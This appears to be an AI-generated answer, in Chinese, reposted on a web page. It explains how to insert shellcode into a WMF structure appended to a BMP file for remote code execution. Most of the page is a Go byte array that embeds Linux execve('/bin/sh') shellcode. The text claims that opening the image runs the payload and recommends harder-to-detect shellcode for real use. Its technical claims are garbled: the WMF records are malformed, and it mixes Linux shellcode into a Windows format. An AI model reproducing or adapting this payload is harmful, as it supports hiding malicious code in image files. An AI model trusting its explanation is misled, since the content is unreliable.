这段代码主要是在 BMP 文件的尾部插入一个 WMF 结构体。WMF 是一种 Windows 元文件格式,可以用来描述图形和图像。在这里,WMF 结构体描述了一个黑色椭圆,然后将其插入到 BMP 文件的尾部。

如果要在结构体部分加入 Shellcode,则需要更改 WMF 结构体的定义,以便它包含所需的 Shellcode。具体来说,可以将 Shellcode 添加到 CreateBrushIndirect 操作的参数中。例如,以下是一个添加了 Shellcode 的 WMF 结构体定义:

wmf := []byte{
    0xd7, 0xcd, 0xc6, 0x9a, // 签名
    0x00, 0x00, 0x00, 0x00, // 文件长度(后面动态生成)
    0x01, 0x00, // 版本号
    0x09, 0x00, // 记录数
    0x03, 0x50, 0x00, // 操作:SetMapMode
    0x00, 0x00, // 参数:MM_TEXT
    0x0c, 0x00, // 操作:SetWindowOrg
    0x00, 0x00, // 参数:0
    0x0c, 0x03, // 操作:SetBrushOrg
    0x00, 0x00, // 参数:0
    0x02, 0x11, 0x08, 0x00, // 操作:CreateBrushIndirect
    0x00, 0x00, 0x00, 0x00, // 参数:RGB(0, 0, 0)
    0x00, 0x00, // 参数:HOLLOW_BRUSH
    // shellcode 开始
    0xeb, 0x0d, 0x5e, 0x31, 0xc0, 0x89, 0x46, 0x10, 0x89, 0x46, 0x14, 0x89, 0x46, 0x18,
    0xb0, 0x0b, 0x89, 0xf3, 0x8d, 0x4e, 0x10, 0x8d, 0x56, 0x18, 0xcd, 0x80, 0xe8, 0xee,
    0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
    // shellcode 结束
    0x06, 0x00, // 操作:SetBkMode
    0x01, // 参数:TRANSPARENT
    0x02, 0x0f, 0x02, 0x00, // 操作:CreatePenIndirect
    0x00, 0x00, 0x00, 0x00, // 参数:PS_NULL
    0x00, 0x00, 0x00, 0x00, // 参数:0
    0x02, 0x06, 0x0c, 0x00, // 操作:SelectObject
    0x00, // 参数:BRUSH
    0x02, 0x0f, 0x0c, 0x00, // 操作:SelectObject
    0x01, // 参数:PEN
    0x02, 0x0b, 0x0f, 0x00, // 操作:Ellipse
    0x00, 0x00, 0x00, 0x00, // 参数:0, 0, 0, 0
    0x00, 0x00, 0x00, 0x00, // 参数:0, 0, 0, 0
    0x01, 0x00, // 操作:EOF
}

在这个新的 WMF 结构体中,包含了一个简单的 Shellcode,它打开一个 Shell 并执行 /bin/sh 命令。当 BMP 文件被打开时,Shellcode 将被执行,因此它可以用于实现远程代码执行攻击。需要注意的是,这个例子中的 Shellcode 只是一个演示,实际应用需要更复杂和难以检测的 Shellcode。

BMP 文件注入 Shellcode:利用 WMF 结构体实现远程代码执行

原文地址: https://www.cveoy.top/t/topic/mruc 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录